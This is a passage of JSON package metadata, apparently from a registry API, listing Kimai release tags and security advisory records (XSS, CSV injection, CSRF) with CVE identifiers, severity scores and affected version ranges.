https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.1/manifests"},{"name":"1.14","sha":"bb94b11e3763e4cb162a99e281dee79217a167e1","kind":"commit","published_at":"2021-04-23T15:06:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14","html_url":"https://github.com/kimai/kimai/releases/tag/1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14/manifests"},{"name":"1.13","sha":"9eb25c412e5f1db7cadd0260455cc39f1f0390a6","kind":"commit","published_at":"2021-02-06T16:31:14.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.13","html_url":"https://github.com/kimai/kimai/releases/tag/1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.13/manifests"},{"name":"1.12","sha":"e21fc656e4202626e6341226d33ab9ddcee3d74a","kind":"commit","published_at":"2020-12-13T23:28:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.12","html_url":"https://github.com/kimai/kimai/releases/tag/1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.12/manifests"},{"name":"1.11.1","sha":"4a945253209bf3b1d1257c1f6bf7362a23474844","kind":"commit","published_at":"2020-10-28T19:35:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.11.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11.1/manifests"},{"name":"1.11","sha":"e24c647b1883ca656d232e54e07900cbab0db09e","kind":"commit","published_at":"2020-10-26T11:55:24.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.11","html_url":"https://github.com/kimai/kimai/releases/tag/1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11/manifests"},{"name":"1.10.2","sha":"b69ea0648c8c8e241f36851cbafff43e0f349269","kind":"commit","published_at":"2020-08-30T10:19:20.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.10.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.2/manifests"},{"name":"1.10.1","sha":"a2585163220802bd256837cf80eecaa6f3183ec0","kind":"commit","published_at":"2020-08-27T09:48:08.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.10.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.1/manifests"},{"name":"1.10","sha":"c2c4f087e497a12f8f1dd888e33b851d5d4f4788","kind":"commit","published_at":"2020-08-22T17:15:54.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.10","html_url":"https://github.com/kimai/kimai/releases/tag/1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10/manifests"},{"name":"1.9","sha":"46a7b13293e2bc966ee6ce3fdda2b4d7f0196343","kind":"commit","published_at":"2020-04-25T14:34:15.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.9","html_url":"https://github.com/kimai/kimai/releases/tag/1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.9/manifests"},{"name":"1.8","sha":"b8273c4441dd6d6245bd34ef6e2ef637a3e8a370","kind":"commit","published_at":"2020-03-01T13:25:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.8","html_url":"https://github.com/kimai/kimai/releases/tag/1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.8/manifests"},{"name":"1.7","sha":"85a35a30632aa0783c5026d830bdf575f88fc5d9","kind":"commit","published_at":"2020-01-19T20:50:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.7/manifests"},{"name":"1.6.2","sha":"984c852ab6fb0c83e2059e90a2a53a92babd43ae","kind":"commit","published_at":"2019-12-02T09:57:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.6.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.2/manifests"},{"name":"1.6.1","sha":"fdf4fdfb6ab7e83a684d1a674669a8a86898a1f9","kind":"commit","published_at":"2019-11-26T18:32:16.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.6.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.1/manifests"},{"name":"1.6","sha":"724eb9c6584e820642eb6c32fd4de1ecfc5b76d8","kind":"commit","published_at":"2019-11-24T14:29:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6/manifests"},{"name":"1.5","sha":"140fa4b7c0bf2fd4b9111685f4c54e8cd2168d55","kind":"commit","published_at":"2019-11-03T16:31:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.5/manifests"},{"name":"1.4.2","sha":"de533e7031ae194b35f6a638cd95f5c94c516796","kind":"commit","published_at":"2019-10-14T10:30:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.4.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"ae6ed3f23f1ab49187acf5d209e9ef6fb7a44cf6","kind":"commit","published_at":"2019-10-07T14:04:19.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.4.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.1/manifests"},{"name":"1.4","sha":"32aa209b7553b8827b8009ba7f389789842458bf","kind":"commit","published_at":"2019-10-04T05:36:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4/manifests"},{"name":"1.3","sha":"8f2b82b8326846f43bde5a8fd0db78970f1bd625","kind":"commit","published_at":"2019-09-11T22:36:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.3/manifests"},{"name":"1.2","sha":"94f8159fdc3c5f6c2153082a2457161790a90ec3","kind":"commit","published_at":"2019-08-27T16:37:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.2/manifests"},{"name":"1.1","sha":"12803b39578b58deefe3ce65d23115401e181ae0","kind":"commit","published_at":"2019-07-24T17:38:46.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.1/manifests"},{"name":"1.0.1","sha":"f0822fa2b12b7fb4a74d028d8fc8024f49b17602","kind":"commit","published_at":"2019-07-05T17:25:06.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.0.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0.1/manifests"},{"name":"1.0","sha":"94e49ea86fd94c8e5263e220cacba4670bb8b4f3","kind":"commit","published_at":"2019-07-02T10:10:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0/manifests"},{"name":"0.9","sha":"6dc4fa08117f59d146df737736b3ca8659a55d0c","kind":"commit","published_at":"2019-04-29T00:29:40.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.9","html_url":"https://github.com/kimai/kimai/releases/tag/0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.9/manifests"},{"name":"0.8.1","sha":"1f7ec6769a70bc4dec42fd899f424224dd9e82e9","kind":"commit","published_at":"2019-02-22T17:05:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.8.1","html_url":"https://github.com/kimai/kimai/releases/tag/0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8.1/manifests"},{"name":"0.8","sha":"0b57bd51caed7dfec00dfe269aeeb7743bffecbd","kind":"commit","published_at":"2019-02-19T12:39:08.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.8","html_url":"https://github.com/kimai/kimai/releases/tag/0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8/manifests"},{"name":"0.7","sha":"67dab35b57190299d5c1cd486fc4f23aa9d2b3a0","kind":"commit","published_at":"2019-01-28T00:40:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.7","html_url":"https://github.com/kimai/kimai/releases/tag/0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.7/manifests"},{"name":"0.6.1","sha":"f74547008d02fcc408e586e7a90e13785245a34d","kind":"commit","published_at":"2018-11-19T15:17:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.6.1","html_url":"https://github.com/kimai/kimai/releases/tag/0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6.1/manifests"},{"name":"0.6","sha":"417675b3dfbfd0a0659570ed8785db005ff60d3f","kind":"commit","published_at":"2018-11-18T19:45:00.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.6","html_url":"https://github.com/kimai/kimai/releases/tag/0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6/manifests"},{"name":"0.5","sha":"53053c127e2820e0e4dda505470dee267af866dc","kind":"commit","published_at":"2018-09-27T11:35:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.5","html_url":"https://github.com/kimai/kimai/releases/tag/0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.5/manifests"},{"name":"0.4","sha":"6fb6a16246c74409fcb043be88b1efad6ca2667d","kind":"commit","published_at":"2018-09-01T19:05:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.4","html_url":"https://github.com/kimai/kimai/releases/tag/0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.4/manifests"},{"name":"0.3","sha":"20a2d9499671ff403bcf830cefb22a0436be587b","kind":"commit","published_at":"2018-07-22T22:43:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.3","html_url":"https://github.com/kimai/kimai/releases/tag/0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.3/manifests"},{"name":"0.2","sha":"f563e0703d8ecaa426ad367bd23f0348a7a2b40e","kind":"commit","published_at":"2018-06-23T23:18:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.2","html_url":"https://github.com/kimai/kimai/releases/tag/0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.2/manifests"},{"name":"0.1","sha":"c011b83b73dc943c770e6009bfa26447c9feff74","kind":"tag","published_at":"2018-01-12T18:42:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.1","html_url":"https://github.com/kimai/kimai/releases/tag/0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.1/manifests"}]},"repo_metadata_updated_at":"2026-08-28T21:46:52.070Z","dependent_packages_count":0,"downloads":3030,"downloads_period":"total","dependent_repos_count":19,"rankings":{"downloads":16.7499925081661,"dependent_repos_count":2.6435228320140283,"dependent_packages_count":19.098384405567156,"stargazers_count":0.14509184988362686,"forks_count":0.13085736547163593,"docker_downloads_count":null,"average":7.7535697922205085},"purl":"pkg:composer/kevinpapst/kimai2","advisories":[{"uuid":"GSA_kwCzR0hTQS03djQ0LTc1amYtMjJnas4AAh3D","url":"https://github.com/advisories/GHSA-7v44-75jf-22gj","title":"Kimai v2 is vulnerable to Cross-Site Scripting (XSS)","description":"Kimai v2 before 1.1 has XSS via a timesheet description.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T16:54:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-15481","https://github.com/kevinpapst/kimai2/pull/962","https://github.com/kevinpapst/kimai2/releases/tag/1.1","https://github.com/advisories/GHSA-7v44-75jf-22gj"],"source_kind":"github","identifiers":["GHSA-7v44-75jf-22gj","CVE-2019-15481"],"repository_url":"https://github.com/kevinpapst/kimai2","blast_radius":0.0,"created_at":"2022-12-21T16:11:59.646Z","updated_at":"2026-09-01T13:11:31.426Z","epss_percentage":0.00861,"epss_percentile":0.55996,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03djQ0LTc1amYtMjJnas4AAh3D","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03djQ0LTc1amYtMjJnas4AAh3D","packages":[{"ecosystem":"packagist","package_name":"kevinpapst/kimai2","versions":[{"first_patched_version":"1.1","vulnerable_version_range":"\u003c 1.1"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":19,"downloads":3030,"downloads_period":"total"},"affected_versions":["0.6.1","0.8.1","1.0.1"],"unaffected_versions":["1.4.1","1.4.2","1.6.1","1.6.2","1.10.1","1.10.2","1.11.1","1.14.1","1.14.2","1.14.3","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6","1.16.1","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.16.10","1.17.1","1.18.1","1.18.2","1.19.1","1.19.2","1.19.3","1.19.4","1.19.5","1.19.6","1.19.7","1.20.1","1.20.2","1.20.3","1.20.4","1.21.0","1.22.0","1.22.1","1.23.0","1.23.1","1.24.0","1.25.0","1.26.0","1.27.0","1.28.0","1.28.1","1.29.0","1.29.1","1.30.0","1.30.1","1.30.2","1.30.3","1.30.4","1.30.5","1.30.6","1.30.7","1.30.8","1.30.9","1.30.10","1.30.11","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.1.0","2.2.0","2.2.1","2.3.0","2.4.0","2.4.1","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0","2.10.0","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.16.1","2.17.0","2.18.0","2.19.0","2.19.1","2.20.0","2.20.1","2.21.0","2.22.0","2.23.0","2.24.0","2.25.0","2.26.0","2.27.0","2.28.0","2.29.0","2.30.0","2.31.0","2.32.0","2.33.0","2.34.0","2.35.0","2.35.1","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.40.0","2.41.0","2.42.0","2.43.0","2.44.0","2.45.0","2.46.0","2.47.0","2.48.0","2.49.0","2.50.0","2.51.0","2.52.0","2.53.0","2.54.0","2.55.0","2.56.0","2.57.0","2.58.0","2.59.0","2.60.0","2.61.0","2.62.0","2.63.0","2.64.0","2.65.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03djQ0LTc1amYtMjJnas4AAh3D/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NGZxLTljNnctcnE0NM05oA","url":"https://github.com/advisories/GHSA-64fq-9c6w-rq44","title":"Improper Neutralization of Formula Elements in a CSV File in Kimai 2","description":"A CSV Injection vulnerablity exists in Kimai Kimai 2 prior to 1.14.1 via a description in a new timesheet.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-04-09T00:00:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-43515","https://github.com/kevinpapst/kimai2/commit/dad1b8b772947f1596175add1b4f33b791705507#diff-6774f5865dbaf8bc6c55b75bd92e6f9950ebe7834aa2efd828a19fd637e667cf","https://github.com/kevinpapst/kimai2/pull/2532","https://github.com/advisories/GHSA-64fq-9c6w-rq44"],"source_kind":"github","identifiers":["GHSA-64fq-9c6w-rq44","CVE-2021-43515"],"repository_url":"https://github.com/kevinpapst/kimai2","blast_radius":0.0,"created_at":"2022-12-21T16:12:30.192Z","updated_at":"2026-09-01T13:14:27.207Z","epss_percentage":0.01014,"epss_percentile":0.60807,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NGZxLTljNnctcnE0NM05oA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NGZxLTljNnctcnE0NM05oA","packages":[{"ecosystem":"packagist","package_name":"kevinpapst/kimai2","versions":[{"first_patched_version":"1.14.1","vulnerable_version_range":"\u003c 1.14.1"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":19,"downloads":3030,"downloads_period":"total"},"affected_versions":["0.6.1","0.8.1","1.0.1","1.4.1","1.4.2","1.6.1","1.6.2","1.10.1","1.10.2","1.11.1"],"unaffected_versions":["1.14.1","1.14.2","1.14.3","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6","1.16.1","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.16.10","1.17.1","1.18.1","1.18.2","1.19.1","1.19.2","1.19.3","1.19.4","1.19.5","1.19.6","1.19.7","1.20.1","1.20.2","1.20.3","1.20.4","1.21.0","1.22.0","1.22.1","1.23.0","1.23.1","1.24.0","1.25.0","1.26.0","1.27.0","1.28.0","1.28.1","1.29.0","1.29.1","1.30.0","1.30.1","1.30.2","1.30.3","1.30.4","1.30.5","1.30.6","1.30.7","1.30.8","1.30.9","1.30.10","1.30.11","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.1.0","2.2.0","2.2.1","2.3.0","2.4.0","2.4.1","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0","2.10.0","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.16.1","2.17.0","2.18.0","2.19.0","2.19.1","2.20.0","2.20.1","2.21.0","2.22.0","2.23.0","2.24.0","2.25.0","2.26.0","2.27.0","2.28.0","2.29.0","2.30.0","2.31.0","2.32.0","2.33.0","2.34.0","2.35.0","2.35.1","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.40.0","2.41.0","2.42.0","2.43.0","2.44.0","2.45.0","2.46.0","2.47.0","2.48.0","2.49.0","2.50.0","2.51.0","2.52.0","2.53.0","2.54.0","2.55.0","2.56.0","2.57.0","2.58.0","2.59.0","2.60.0","2.61.0","2.62.0","2.63.0","2.64.0","2.65.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NGZxLTljNnctcnE0NM05oA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00and4LTc4dngtZ202Z80ajA","url":"https://github.com/advisories/GHSA-4jwx-78vx-gm6g","title":"Cross-Site Request Forgery in kimai2","description":"CSRF in saving invoices / modifying status of invoices (pending and cancel 